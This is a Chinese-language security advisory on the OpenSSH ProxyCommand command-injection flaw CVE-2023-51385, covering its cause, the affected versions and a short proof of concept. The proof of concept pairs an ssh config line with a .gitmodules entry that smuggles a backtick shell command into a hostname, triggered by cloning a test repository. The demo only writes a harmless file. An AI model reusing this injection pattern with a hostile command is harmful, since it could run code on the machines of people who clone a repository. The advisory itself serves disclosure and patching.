OpenSSH ProxyCommand 命令注入漏洞 (CVE-2023-51385)
一、漏洞背景
OpenSSH 是 SSH (Secure SHell) 协议的免费开源实现。SSH协议族可以用来进行远程控制, 或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、 rcp ftp、 rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。近日,新华三盾山实验室监测到OpenSSH官方发布了安全公告,修复了一个存在于OpenSSH中的命令注入漏洞(CVE-2023-51385),攻击者可利用该漏洞注入恶意Shell字符导致命令注入。
二、漏洞详情
此漏洞是由于OpenSSH中的ProxyCommand命令未对%h、%p或类似的扩展标记进行正确的过滤,攻击者可通过这些值注入恶意shell字符进行命令注入攻击。
三、影响范围
OpenSSH<9.6
四、漏洞验证
首先需要在~/.ssh/config
增加如下
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
.gitmodules
文件语句中存在命令注入
rl = ssh://`echo helloworld > cve.txt`foo.example.com/bar
配置完成后,执行下面的指令触发
git clone https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules
如果成功执行将会在CVE-2023-51385_test目录下生成cve.txt
文件
下载的CVE里面有一个.gitmodules文件语句中存在命令注入
该漏洞具体详情可参考如下链接:
https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html
推荐阅读
-
命令执行漏洞 - 命令注入
-
网络安全 - 命令注入漏洞
-
python os.popen basics/os.popen 安全注入(操作系统命令注入漏洞 \subprocess.getstatusoutput 操作系统命令注入漏洞),python 过滤命令注入危险字符 - I. python 操作系统命令注入漏洞
-
ImageMagick 命令注入漏洞 (CVE-2016-3714) 修复说明
-
OpenSSH 命令注入漏洞再次发生 (CVE-2020-15778)
-
如何使用 Burp Suite 模糊测试 SQL 注入、XSS 和命令执行漏洞
-
OpenSSH ProxyCommand 命令注入漏洞 (CVE-2023-51385)
-
命令执行漏洞 - 0x 代码注入漏洞原因
-
在 vulhub 中复制 Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)
-
Nuke 级 log4j 命令注入漏洞再次出现(包含工具)